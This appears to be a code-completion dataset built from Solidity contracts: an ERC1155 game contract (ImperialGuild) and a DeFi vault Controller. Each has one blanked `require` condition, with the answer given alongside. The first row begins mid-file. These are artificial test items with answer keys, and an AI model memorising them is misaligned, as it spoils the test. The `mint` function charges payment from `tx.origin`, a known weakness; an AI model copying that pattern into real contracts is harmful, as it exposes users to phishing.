// an owner withdraws, at which point the tax % above will be sent to the
// treasury and the remainder will be burnt *see withdraw
address private ImperialGuildTreasury;
address public auth;
// Tracks the last block and timestamp that a caller has written to state.
// Disallow some access to functions if they occur while a change is being written.
mapping(address => LastWrite) private lastWrite;
mapping(uint256 => TypeInfo) private typeInfo;
// storage of each image data
mapping(uint256 => Image) public traitData;
// address => allowedToCallFunctions
mapping(address => bool) private admins;
IEON public eon;
// reference to the raw contract for processing payments in raw eon or other
// raw materials
IRAW public raw;
EON public eonToken;
constructor() {
}
modifier onlyOwner() {
}
/** CRITICAL TO SETUP */
modifier requireContractsSet() {
require(<FILL_ME>)
_;
}
function setContracts(address _eon, address _raw) external onlyOwner {
}
/**
* Mint a token - any payment / game logic should be handled in the DenOfAlgol contract.
* ATENTION- PaymentId "0" is reserved for EON only!!
* All other paymentIds point to the RAW contract ID
*/
function mint(
uint256 typeId,
uint256 paymentId,
uint16 qty,
address recipient
) external override whenNotPaused {
}
/**
* Burn a token - any payment / game logic should be handled in the game contract.
*/
function burn(
uint256 typeId,
uint16 qty,
address burnFrom
) external override whenNotPaused {
}
function handlePayment(uint256 amount) external override whenNotPaused {
}
// used to create new erc1155 typs from the Imperial guild
// ATTENTION - Type zero is reserved to not cause conflicts
function setType(uint256 typeId, uint16 maxSupply) external onlyOwner {
}
// store exchange rates for new erc1155s for both EON and/or
// any raw resource
function setExchangeAmt(
uint256 typeId,
uint256 exchangeAmt,
uint256 secExchangeAmt
) external onlyOwner {
}
/**
* enables an address to mint / burn
* @param addr the address to enable
*/
function addAdmin(address addr) external onlyOwner {
}
/**
* disables an address from minting / burning
* @param addr the address to disbale
*/
function removeAdmin(address addr) external onlyOwner {
}
function setPaused(bool _paused) external onlyOwner requireContractsSet {
}
// owner call to withdraw this contracts EON balance * 20%
// to the Imperial guild treasury, the remainder is then burned
function withdrawEonAndBurn() external onlyOwner {
}
// owner function to withdraw this contracts raw resource balance * 20%
// to the Imperial guild treasury, the remainder is then burned
function withdrawRawAndBurn(uint16 id) external onlyOwner {
}
// owner function to set the Imperial guild treasury address
function setTreasuries(address _treasury) external onlyOwner {
}
// external function to recieve information on a given
// ERC1155 from the ImperialGuild
function getInfoForType(uint256 typeId)
external
view
returns (TypeInfo memory)
{
}
// ERC1155 token uri and renders for the on chain metadata
function uri(uint256 typeId) public view override returns (string memory) {
}
function uploadImage(uint256 typeId, Image calldata image)
external
onlyOwner
{
}
function drawImage(Image memory image)
internal
pure
returns (string memory)
{
}
function drawSVG(uint256 typeId) internal view returns (string memory) {
}
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override(ERC1155, IImperialGuild) {
}
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override(ERC1155, IImperialGuild) {
}
function getBalance(address account, uint256 id)
public
view
returns (uint256)
{
}
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes calldata
) external pure override returns (bytes4) {
}
function onERC1155BatchReceived(
address,
address,
uint256[] calldata,
uint256[] calldata,
bytes calldata
) external pure override returns (bytes4) {
}
function supportsInterface(bytes4 interfaceId)
public
pure
override
returns (bool)
{
}
/** BASE 64 - Written by Brech Devos */
string internal constant TABLE =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
function base64(bytes memory data) internal pure returns (string memory) {
}
// For OpenSeas
function owner() public view virtual returns (address) {
}
}
| address(eon)!=address(0),"Contracts not set" | 19,506 | address(eon)!=address(0) |
"All tokens minted" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./interfaces/IERC1155TokenReceiver.sol";
import "./interfaces/IImperialGuild.sol";
import "./interfaces/IEON.sol";
import "./interfaces/IRAW.sol";
import "./ERC1155.sol";
import "./EON.sol";
contract ImperialGuild is
IImperialGuild,
IERC1155TokenReceiver,
ERC1155,
Pausable
{
using Strings for uint256;
// struct to store each trait's data for metadata and rendering
struct Image {
string name;
string png;
}
struct TypeInfo {
uint16 mints;
uint16 burns;
uint16 maxSupply;
uint256 eonExAmt;
uint256 secExAmt;
}
struct LastWrite {
uint64 time;
uint64 blockNum;
}
// hardcoded tax % to the Imperial guild, collected from shard and onosia purchases
// to be used in game at a later time
uint256 public constant ImperialGuildTax = 20;
// multiplier for eon exchange amount
uint256 public constant multiplier = 10**18;
// payments for shards and onosia will collect in this contract until
// an owner withdraws, at which point the tax % above will be sent to the
// treasury and the remainder will be burnt *see withdraw
address private ImperialGuildTreasury;
address public auth;
// Tracks the last block and timestamp that a caller has written to state.
// Disallow some access to functions if they occur while a change is being written.
mapping(address => LastWrite) private lastWrite;
mapping(uint256 => TypeInfo) private typeInfo;
// storage of each image data
mapping(uint256 => Image) public traitData;
// address => allowedToCallFunctions
mapping(address => bool) private admins;
IEON public eon;
// reference to the raw contract for processing payments in raw eon or other
// raw materials
IRAW public raw;
EON public eonToken;
constructor() {
}
modifier onlyOwner() {
}
/** CRITICAL TO SETUP */
modifier requireContractsSet() {
}
function setContracts(address _eon, address _raw) external onlyOwner {
}
/**
* Mint a token - any payment / game logic should be handled in the DenOfAlgol contract.
* ATENTION- PaymentId "0" is reserved for EON only!!
* All other paymentIds point to the RAW contract ID
*/
function mint(
uint256 typeId,
uint256 paymentId,
uint16 qty,
address recipient
) external override whenNotPaused {
require(admins[msg.sender], "Only admins can call this");
require(<FILL_ME>)
// all payments will be transferred to this contract
//this allows the hardcoded ImperialGuild tax that will be used in future additions to shatteredEON to be withdrawn. At the time of withdaw the balance of this contract will be burnt - the tax amount.
if (paymentId == 0) {
eon.transferFrom(
tx.origin,
address(this),
typeInfo[typeId].eonExAmt * qty
);
} else {
raw.safeTransferFrom(
tx.origin,
address(this),
paymentId,
typeInfo[typeId].secExAmt * qty,
""
);
}
typeInfo[typeId].mints += qty;
_mint(recipient, typeId, qty, "");
}
/**
* Burn a token - any payment / game logic should be handled in the game contract.
*/
function burn(
uint256 typeId,
uint16 qty,
address burnFrom
) external override whenNotPaused {
}
function handlePayment(uint256 amount) external override whenNotPaused {
}
// used to create new erc1155 typs from the Imperial guild
// ATTENTION - Type zero is reserved to not cause conflicts
function setType(uint256 typeId, uint16 maxSupply) external onlyOwner {
}
// store exchange rates for new erc1155s for both EON and/or
// any raw resource
function setExchangeAmt(
uint256 typeId,
uint256 exchangeAmt,
uint256 secExchangeAmt
) external onlyOwner {
}
/**
* enables an address to mint / burn
* @param addr the address to enable
*/
function addAdmin(address addr) external onlyOwner {
}
/**
* disables an address from minting / burning
* @param addr the address to disbale
*/
function removeAdmin(address addr) external onlyOwner {
}
function setPaused(bool _paused) external onlyOwner requireContractsSet {
}
// owner call to withdraw this contracts EON balance * 20%
// to the Imperial guild treasury, the remainder is then burned
function withdrawEonAndBurn() external onlyOwner {
}
// owner function to withdraw this contracts raw resource balance * 20%
// to the Imperial guild treasury, the remainder is then burned
function withdrawRawAndBurn(uint16 id) external onlyOwner {
}
// owner function to set the Imperial guild treasury address
function setTreasuries(address _treasury) external onlyOwner {
}
// external function to recieve information on a given
// ERC1155 from the ImperialGuild
function getInfoForType(uint256 typeId)
external
view
returns (TypeInfo memory)
{
}
// ERC1155 token uri and renders for the on chain metadata
function uri(uint256 typeId) public view override returns (string memory) {
}
function uploadImage(uint256 typeId, Image calldata image)
external
onlyOwner
{
}
function drawImage(Image memory image)
internal
pure
returns (string memory)
{
}
function drawSVG(uint256 typeId) internal view returns (string memory) {
}
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override(ERC1155, IImperialGuild) {
}
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override(ERC1155, IImperialGuild) {
}
function getBalance(address account, uint256 id)
public
view
returns (uint256)
{
}
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes calldata
) external pure override returns (bytes4) {
}
function onERC1155BatchReceived(
address,
address,
uint256[] calldata,
uint256[] calldata,
bytes calldata
) external pure override returns (bytes4) {
}
function supportsInterface(bytes4 interfaceId)
public
pure
override
returns (bool)
{
}
/** BASE 64 - Written by Brech Devos */
string internal constant TABLE =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
function base64(bytes memory data) internal pure returns (string memory) {
}
// For OpenSeas
function owner() public view virtual returns (address) {
}
}
| typeInfo[typeId].mints+qty<=typeInfo[typeId].maxSupply,"All tokens minted" | 19,506 | typeInfo[typeId].mints+qty<=typeInfo[typeId].maxSupply |
"max supply too low" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./interfaces/IERC1155TokenReceiver.sol";
import "./interfaces/IImperialGuild.sol";
import "./interfaces/IEON.sol";
import "./interfaces/IRAW.sol";
import "./ERC1155.sol";
import "./EON.sol";
contract ImperialGuild is
IImperialGuild,
IERC1155TokenReceiver,
ERC1155,
Pausable
{
using Strings for uint256;
// struct to store each trait's data for metadata and rendering
struct Image {
string name;
string png;
}
struct TypeInfo {
uint16 mints;
uint16 burns;
uint16 maxSupply;
uint256 eonExAmt;
uint256 secExAmt;
}
struct LastWrite {
uint64 time;
uint64 blockNum;
}
// hardcoded tax % to the Imperial guild, collected from shard and onosia purchases
// to be used in game at a later time
uint256 public constant ImperialGuildTax = 20;
// multiplier for eon exchange amount
uint256 public constant multiplier = 10**18;
// payments for shards and onosia will collect in this contract until
// an owner withdraws, at which point the tax % above will be sent to the
// treasury and the remainder will be burnt *see withdraw
address private ImperialGuildTreasury;
address public auth;
// Tracks the last block and timestamp that a caller has written to state.
// Disallow some access to functions if they occur while a change is being written.
mapping(address => LastWrite) private lastWrite;
mapping(uint256 => TypeInfo) private typeInfo;
// storage of each image data
mapping(uint256 => Image) public traitData;
// address => allowedToCallFunctions
mapping(address => bool) private admins;
IEON public eon;
// reference to the raw contract for processing payments in raw eon or other
// raw materials
IRAW public raw;
EON public eonToken;
constructor() {
}
modifier onlyOwner() {
}
/** CRITICAL TO SETUP */
modifier requireContractsSet() {
}
function setContracts(address _eon, address _raw) external onlyOwner {
}
/**
* Mint a token - any payment / game logic should be handled in the DenOfAlgol contract.
* ATENTION- PaymentId "0" is reserved for EON only!!
* All other paymentIds point to the RAW contract ID
*/
function mint(
uint256 typeId,
uint256 paymentId,
uint16 qty,
address recipient
) external override whenNotPaused {
}
/**
* Burn a token - any payment / game logic should be handled in the game contract.
*/
function burn(
uint256 typeId,
uint16 qty,
address burnFrom
) external override whenNotPaused {
}
function handlePayment(uint256 amount) external override whenNotPaused {
}
// used to create new erc1155 typs from the Imperial guild
// ATTENTION - Type zero is reserved to not cause conflicts
function setType(uint256 typeId, uint16 maxSupply) external onlyOwner {
require(<FILL_ME>)
typeInfo[typeId].maxSupply = maxSupply;
}
// store exchange rates for new erc1155s for both EON and/or
// any raw resource
function setExchangeAmt(
uint256 typeId,
uint256 exchangeAmt,
uint256 secExchangeAmt
) external onlyOwner {
}
/**
* enables an address to mint / burn
* @param addr the address to enable
*/
function addAdmin(address addr) external onlyOwner {
}
/**
* disables an address from minting / burning
* @param addr the address to disbale
*/
function removeAdmin(address addr) external onlyOwner {
}
function setPaused(bool _paused) external onlyOwner requireContractsSet {
}
// owner call to withdraw this contracts EON balance * 20%
// to the Imperial guild treasury, the remainder is then burned
function withdrawEonAndBurn() external onlyOwner {
}
// owner function to withdraw this contracts raw resource balance * 20%
// to the Imperial guild treasury, the remainder is then burned
function withdrawRawAndBurn(uint16 id) external onlyOwner {
}
// owner function to set the Imperial guild treasury address
function setTreasuries(address _treasury) external onlyOwner {
}
// external function to recieve information on a given
// ERC1155 from the ImperialGuild
function getInfoForType(uint256 typeId)
external
view
returns (TypeInfo memory)
{
}
// ERC1155 token uri and renders for the on chain metadata
function uri(uint256 typeId) public view override returns (string memory) {
}
function uploadImage(uint256 typeId, Image calldata image)
external
onlyOwner
{
}
function drawImage(Image memory image)
internal
pure
returns (string memory)
{
}
function drawSVG(uint256 typeId) internal view returns (string memory) {
}
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override(ERC1155, IImperialGuild) {
}
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override(ERC1155, IImperialGuild) {
}
function getBalance(address account, uint256 id)
public
view
returns (uint256)
{
}
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes calldata
) external pure override returns (bytes4) {
}
function onERC1155BatchReceived(
address,
address,
uint256[] calldata,
uint256[] calldata,
bytes calldata
) external pure override returns (bytes4) {
}
function supportsInterface(bytes4 interfaceId)
public
pure
override
returns (bool)
{
}
/** BASE 64 - Written by Brech Devos */
string internal constant TABLE =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
function base64(bytes memory data) internal pure returns (string memory) {
}
// For OpenSeas
function owner() public view virtual returns (address) {
}
}
| typeInfo[typeId].mints<=maxSupply,"max supply too low" | 19,506 | typeInfo[typeId].mints<=maxSupply |
"this type has not been set up" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./interfaces/IERC1155TokenReceiver.sol";
import "./interfaces/IImperialGuild.sol";
import "./interfaces/IEON.sol";
import "./interfaces/IRAW.sol";
import "./ERC1155.sol";
import "./EON.sol";
contract ImperialGuild is
IImperialGuild,
IERC1155TokenReceiver,
ERC1155,
Pausable
{
using Strings for uint256;
// struct to store each trait's data for metadata and rendering
struct Image {
string name;
string png;
}
struct TypeInfo {
uint16 mints;
uint16 burns;
uint16 maxSupply;
uint256 eonExAmt;
uint256 secExAmt;
}
struct LastWrite {
uint64 time;
uint64 blockNum;
}
// hardcoded tax % to the Imperial guild, collected from shard and onosia purchases
// to be used in game at a later time
uint256 public constant ImperialGuildTax = 20;
// multiplier for eon exchange amount
uint256 public constant multiplier = 10**18;
// payments for shards and onosia will collect in this contract until
// an owner withdraws, at which point the tax % above will be sent to the
// treasury and the remainder will be burnt *see withdraw
address private ImperialGuildTreasury;
address public auth;
// Tracks the last block and timestamp that a caller has written to state.
// Disallow some access to functions if they occur while a change is being written.
mapping(address => LastWrite) private lastWrite;
mapping(uint256 => TypeInfo) private typeInfo;
// storage of each image data
mapping(uint256 => Image) public traitData;
// address => allowedToCallFunctions
mapping(address => bool) private admins;
IEON public eon;
// reference to the raw contract for processing payments in raw eon or other
// raw materials
IRAW public raw;
EON public eonToken;
constructor() {
}
modifier onlyOwner() {
}
/** CRITICAL TO SETUP */
modifier requireContractsSet() {
}
function setContracts(address _eon, address _raw) external onlyOwner {
}
/**
* Mint a token - any payment / game logic should be handled in the DenOfAlgol contract.
* ATENTION- PaymentId "0" is reserved for EON only!!
* All other paymentIds point to the RAW contract ID
*/
function mint(
uint256 typeId,
uint256 paymentId,
uint16 qty,
address recipient
) external override whenNotPaused {
}
/**
* Burn a token - any payment / game logic should be handled in the game contract.
*/
function burn(
uint256 typeId,
uint16 qty,
address burnFrom
) external override whenNotPaused {
}
function handlePayment(uint256 amount) external override whenNotPaused {
}
// used to create new erc1155 typs from the Imperial guild
// ATTENTION - Type zero is reserved to not cause conflicts
function setType(uint256 typeId, uint16 maxSupply) external onlyOwner {
}
// store exchange rates for new erc1155s for both EON and/or
// any raw resource
function setExchangeAmt(
uint256 typeId,
uint256 exchangeAmt,
uint256 secExchangeAmt
) external onlyOwner {
require(<FILL_ME>)
typeInfo[typeId].eonExAmt = exchangeAmt;
typeInfo[typeId].secExAmt = secExchangeAmt;
}
/**
* enables an address to mint / burn
* @param addr the address to enable
*/
function addAdmin(address addr) external onlyOwner {
}
/**
* disables an address from minting / burning
* @param addr the address to disbale
*/
function removeAdmin(address addr) external onlyOwner {
}
function setPaused(bool _paused) external onlyOwner requireContractsSet {
}
// owner call to withdraw this contracts EON balance * 20%
// to the Imperial guild treasury, the remainder is then burned
function withdrawEonAndBurn() external onlyOwner {
}
// owner function to withdraw this contracts raw resource balance * 20%
// to the Imperial guild treasury, the remainder is then burned
function withdrawRawAndBurn(uint16 id) external onlyOwner {
}
// owner function to set the Imperial guild treasury address
function setTreasuries(address _treasury) external onlyOwner {
}
// external function to recieve information on a given
// ERC1155 from the ImperialGuild
function getInfoForType(uint256 typeId)
external
view
returns (TypeInfo memory)
{
}
// ERC1155 token uri and renders for the on chain metadata
function uri(uint256 typeId) public view override returns (string memory) {
}
function uploadImage(uint256 typeId, Image calldata image)
external
onlyOwner
{
}
function drawImage(Image memory image)
internal
pure
returns (string memory)
{
}
function drawSVG(uint256 typeId) internal view returns (string memory) {
}
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override(ERC1155, IImperialGuild) {
}
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override(ERC1155, IImperialGuild) {
}
function getBalance(address account, uint256 id)
public
view
returns (uint256)
{
}
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes calldata
) external pure override returns (bytes4) {
}
function onERC1155BatchReceived(
address,
address,
uint256[] calldata,
uint256[] calldata,
bytes calldata
) external pure override returns (bytes4) {
}
function supportsInterface(bytes4 interfaceId)
public
pure
override
returns (bool)
{
}
/** BASE 64 - Written by Brech Devos */
string internal constant TABLE =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
function base64(bytes memory data) internal pure returns (string memory) {
}
// For OpenSeas
function owner() public view virtual returns (address) {
}
}
| typeInfo[typeId].maxSupply>0,"this type has not been set up" | 19,506 | typeInfo[typeId].maxSupply>0 |
"!governance|strategist" | pragma solidity ^0.6.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/proxy/Initializable.sol";
import "./interfaces/IController.sol";
import "./interfaces/IStrategy.sol";
import "./interfaces/IConverter.sol";
/// @title Controller
/// @notice The contract is the middleman between vault and strategy, it balances and trigger earn processes
contract Controller is IController, Ownable, Initializable {
using Address for address;
using SafeMath for uint256;
using SafeERC20 for IERC20;
/// @notice Emits when funds are withdrawn fully from related to vault strategy
/// @param _token Token address to be withdrawn
event WithdrawToVaultAll(address _token);
event Earn(address _token, uint256 _amount);
/// @dev token => vault
mapping(address => address) public override vaults;
/// @dev token => strategy
mapping(address => address) public override strategies;
/// @dev from => to => converter address
mapping(address => mapping(address => address)) public override converters;
/// @dev token => strategy => is strategy approved
mapping(address => mapping(address => bool))
public
override approvedStrategies;
/// @notice Strategist is an actor who created the strategies and he is receiving fees from strategies execution
address public strategist;
/// @notice Treasury contract address (used to channel fees to governance and rewards for voting process and investors)
address private _treasury;
/// @dev Prevents other msg.sender than either governance or strategist addresses
modifier onlyOwnerOrStrategist() {
require(<FILL_ME>)
_;
}
/// @notice Default initialize method for solving migration linearization problem
/// @dev Called once only by deployer
/// @param _initialTreasury treasury contract address
/// @param _initialStrategist strategist address
function configure(
address _initialTreasury,
address _initialStrategist,
address _governance
) external onlyOwner initializer {
}
/// @notice Used only to rescue stuck funds from controller to msg.sender
/// @param _token Token to rescue
/// @param _amount Amount tokens to rescue
function inCaseTokensGetStuck(address _token, uint256 _amount)
external
onlyOwner
{
}
/// @notice Used only to rescue stuck or unrelated funds from strategy to vault
/// @param _strategy Strategy address
/// @param _token Unrelated token address
function inCaseStrategyTokenGetStuck(address _strategy, address _token)
external
onlyOwnerOrStrategist
{
}
/// @notice Withdraws funds from strategy to related vault
/// @param _token Token address to withdraw
/// @param _amount Amount tokens
function withdraw(address _token, uint256 _amount) external override {
}
function claim(address _wantToken, address _tokenToClaim)
external
override
{
}
/// @notice forces the strategy to take away the rewards due to it
// this method must call via backend
/// @param _token want token address
function getRewardStrategy(address _token) external override {
}
/// @notice Usual setter with additional checks
/// @param _newTreasury New value
function setTreasury(address _newTreasury) external onlyOwner {
}
/// @notice Usual setter with check if param is new
/// @param _newStrategist New value
function setStrategist(address _newStrategist) external onlyOwner {
}
/// @notice Used to obtain fees receivers address
/// @return Treasury contract address
function rewards() external view override returns (address) {
}
/// @notice Usual setter of vault in mapping with check if new vault is not address(0)
/// @param _token Business logic token of the vault
/// @param _vault Vault address
function setVault(address _token, address _vault)
external
override
onlyOwnerOrStrategist
{
}
/// @notice Usual setter of converter contract, it implements the optimal logic to token conversion
/// @param _input Input token address
/// @param _output Output token address
/// @param _converter Converter contract
function setConverter(
address _input,
address _output,
address _converter
) external onlyOwnerOrStrategist {
}
/// @notice Sets new link between business logic token and strategy, and if strategy is already used, withdraws all funds from it to the vault
/// @param _token Business logic token address
/// @param _strategy Corresponded strategy contract address
function setStrategy(address _token, address _strategy)
external
override
onlyOwnerOrStrategist
{
}
/// @notice Approves strategy to be added to mapping, needs to be done before setting strategy
/// @param _token Business logic token address
/// @param _strategy Strategy contract address
/// @param _status Approved or not (bool)?
function setApprovedStrategy(
address _token,
address _strategy,
bool _status
) external onlyOwner {
}
/// @notice The method converts if needed given token to business logic strategy token,
/// transfers converted tokens to strategy, and executes the business logic
/// @param _token Given token address (wERC20)
/// @param _amount Amount of given token address
function earn(address _token, uint256 _amount) public override {
}
}
| _msgSender()==strategist||_msgSender()==owner(),"!governance|strategist" | 19,536 | _msgSender()==strategist||_msgSender()==owner() |
"!contract" | pragma solidity ^0.6.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/proxy/Initializable.sol";
import "./interfaces/IController.sol";
import "./interfaces/IStrategy.sol";
import "./interfaces/IConverter.sol";
/// @title Controller
/// @notice The contract is the middleman between vault and strategy, it balances and trigger earn processes
contract Controller is IController, Ownable, Initializable {
using Address for address;
using SafeMath for uint256;
using SafeERC20 for IERC20;
/// @notice Emits when funds are withdrawn fully from related to vault strategy
/// @param _token Token address to be withdrawn
event WithdrawToVaultAll(address _token);
event Earn(address _token, uint256 _amount);
/// @dev token => vault
mapping(address => address) public override vaults;
/// @dev token => strategy
mapping(address => address) public override strategies;
/// @dev from => to => converter address
mapping(address => mapping(address => address)) public override converters;
/// @dev token => strategy => is strategy approved
mapping(address => mapping(address => bool))
public
override approvedStrategies;
/// @notice Strategist is an actor who created the strategies and he is receiving fees from strategies execution
address public strategist;
/// @notice Treasury contract address (used to channel fees to governance and rewards for voting process and investors)
address private _treasury;
/// @dev Prevents other msg.sender than either governance or strategist addresses
modifier onlyOwnerOrStrategist() {
}
/// @notice Default initialize method for solving migration linearization problem
/// @dev Called once only by deployer
/// @param _initialTreasury treasury contract address
/// @param _initialStrategist strategist address
function configure(
address _initialTreasury,
address _initialStrategist,
address _governance
) external onlyOwner initializer {
}
/// @notice Used only to rescue stuck funds from controller to msg.sender
/// @param _token Token to rescue
/// @param _amount Amount tokens to rescue
function inCaseTokensGetStuck(address _token, uint256 _amount)
external
onlyOwner
{
}
/// @notice Used only to rescue stuck or unrelated funds from strategy to vault
/// @param _strategy Strategy address
/// @param _token Unrelated token address
function inCaseStrategyTokenGetStuck(address _strategy, address _token)
external
onlyOwnerOrStrategist
{
}
/// @notice Withdraws funds from strategy to related vault
/// @param _token Token address to withdraw
/// @param _amount Amount tokens
function withdraw(address _token, uint256 _amount) external override {
}
function claim(address _wantToken, address _tokenToClaim)
external
override
{
}
/// @notice forces the strategy to take away the rewards due to it
// this method must call via backend
/// @param _token want token address
function getRewardStrategy(address _token) external override {
}
/// @notice Usual setter with additional checks
/// @param _newTreasury New value
function setTreasury(address _newTreasury) external onlyOwner {
require(_treasury != _newTreasury, "!old");
require(_newTreasury != address(0), "!treasury");
require(<FILL_ME>)
_treasury = _newTreasury;
}
/// @notice Usual setter with check if param is new
/// @param _newStrategist New value
function setStrategist(address _newStrategist) external onlyOwner {
}
/// @notice Used to obtain fees receivers address
/// @return Treasury contract address
function rewards() external view override returns (address) {
}
/// @notice Usual setter of vault in mapping with check if new vault is not address(0)
/// @param _token Business logic token of the vault
/// @param _vault Vault address
function setVault(address _token, address _vault)
external
override
onlyOwnerOrStrategist
{
}
/// @notice Usual setter of converter contract, it implements the optimal logic to token conversion
/// @param _input Input token address
/// @param _output Output token address
/// @param _converter Converter contract
function setConverter(
address _input,
address _output,
address _converter
) external onlyOwnerOrStrategist {
}
/// @notice Sets new link between business logic token and strategy, and if strategy is already used, withdraws all funds from it to the vault
/// @param _token Business logic token address
/// @param _strategy Corresponded strategy contract address
function setStrategy(address _token, address _strategy)
external
override
onlyOwnerOrStrategist
{
}
/// @notice Approves strategy to be added to mapping, needs to be done before setting strategy
/// @param _token Business logic token address
/// @param _strategy Strategy contract address
/// @param _status Approved or not (bool)?
function setApprovedStrategy(
address _token,
address _strategy,
bool _status
) external onlyOwner {
}
/// @notice The method converts if needed given token to business logic strategy token,
/// transfers converted tokens to strategy, and executes the business logic
/// @param _token Given token address (wERC20)
/// @param _amount Amount of given token address
function earn(address _token, uint256 _amount) public override {
}
}
| _newTreasury.isContract(),"!contract" | 19,536 | _newTreasury.isContract() |
"!vault 0" | pragma solidity ^0.6.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/proxy/Initializable.sol";
import "./interfaces/IController.sol";
import "./interfaces/IStrategy.sol";
import "./interfaces/IConverter.sol";
/// @title Controller
/// @notice The contract is the middleman between vault and strategy, it balances and trigger earn processes
contract Controller is IController, Ownable, Initializable {
using Address for address;
using SafeMath for uint256;
using SafeERC20 for IERC20;
/// @notice Emits when funds are withdrawn fully from related to vault strategy
/// @param _token Token address to be withdrawn
event WithdrawToVaultAll(address _token);
event Earn(address _token, uint256 _amount);
/// @dev token => vault
mapping(address => address) public override vaults;
/// @dev token => strategy
mapping(address => address) public override strategies;
/// @dev from => to => converter address
mapping(address => mapping(address => address)) public override converters;
/// @dev token => strategy => is strategy approved
mapping(address => mapping(address => bool))
public
override approvedStrategies;
/// @notice Strategist is an actor who created the strategies and he is receiving fees from strategies execution
address public strategist;
/// @notice Treasury contract address (used to channel fees to governance and rewards for voting process and investors)
address private _treasury;
/// @dev Prevents other msg.sender than either governance or strategist addresses
modifier onlyOwnerOrStrategist() {
}
/// @notice Default initialize method for solving migration linearization problem
/// @dev Called once only by deployer
/// @param _initialTreasury treasury contract address
/// @param _initialStrategist strategist address
function configure(
address _initialTreasury,
address _initialStrategist,
address _governance
) external onlyOwner initializer {
}
/// @notice Used only to rescue stuck funds from controller to msg.sender
/// @param _token Token to rescue
/// @param _amount Amount tokens to rescue
function inCaseTokensGetStuck(address _token, uint256 _amount)
external
onlyOwner
{
}
/// @notice Used only to rescue stuck or unrelated funds from strategy to vault
/// @param _strategy Strategy address
/// @param _token Unrelated token address
function inCaseStrategyTokenGetStuck(address _strategy, address _token)
external
onlyOwnerOrStrategist
{
}
/// @notice Withdraws funds from strategy to related vault
/// @param _token Token address to withdraw
/// @param _amount Amount tokens
function withdraw(address _token, uint256 _amount) external override {
}
function claim(address _wantToken, address _tokenToClaim)
external
override
{
}
/// @notice forces the strategy to take away the rewards due to it
// this method must call via backend
/// @param _token want token address
function getRewardStrategy(address _token) external override {
}
/// @notice Usual setter with additional checks
/// @param _newTreasury New value
function setTreasury(address _newTreasury) external onlyOwner {
}
/// @notice Usual setter with check if param is new
/// @param _newStrategist New value
function setStrategist(address _newStrategist) external onlyOwner {
}
/// @notice Used to obtain fees receivers address
/// @return Treasury contract address
function rewards() external view override returns (address) {
}
/// @notice Usual setter of vault in mapping with check if new vault is not address(0)
/// @param _token Business logic token of the vault
/// @param _vault Vault address
function setVault(address _token, address _vault)
external
override
onlyOwnerOrStrategist
{
require(<FILL_ME>)
vaults[_token] = _vault;
}
/// @notice Usual setter of converter contract, it implements the optimal logic to token conversion
/// @param _input Input token address
/// @param _output Output token address
/// @param _converter Converter contract
function setConverter(
address _input,
address _output,
address _converter
) external onlyOwnerOrStrategist {
}
/// @notice Sets new link between business logic token and strategy, and if strategy is already used, withdraws all funds from it to the vault
/// @param _token Business logic token address
/// @param _strategy Corresponded strategy contract address
function setStrategy(address _token, address _strategy)
external
override
onlyOwnerOrStrategist
{
}
/// @notice Approves strategy to be added to mapping, needs to be done before setting strategy
/// @param _token Business logic token address
/// @param _strategy Strategy contract address
/// @param _status Approved or not (bool)?
function setApprovedStrategy(
address _token,
address _strategy,
bool _status
) external onlyOwner {
}
/// @notice The method converts if needed given token to business logic strategy token,
/// transfers converted tokens to strategy, and executes the business logic
/// @param _token Given token address (wERC20)
/// @param _amount Amount of given token address
function earn(address _token, uint256 _amount) public override {
}
}
| vaults[_token]==address(0),"!vault 0" | 19,536 | vaults[_token]==address(0) |
Subsets and Splits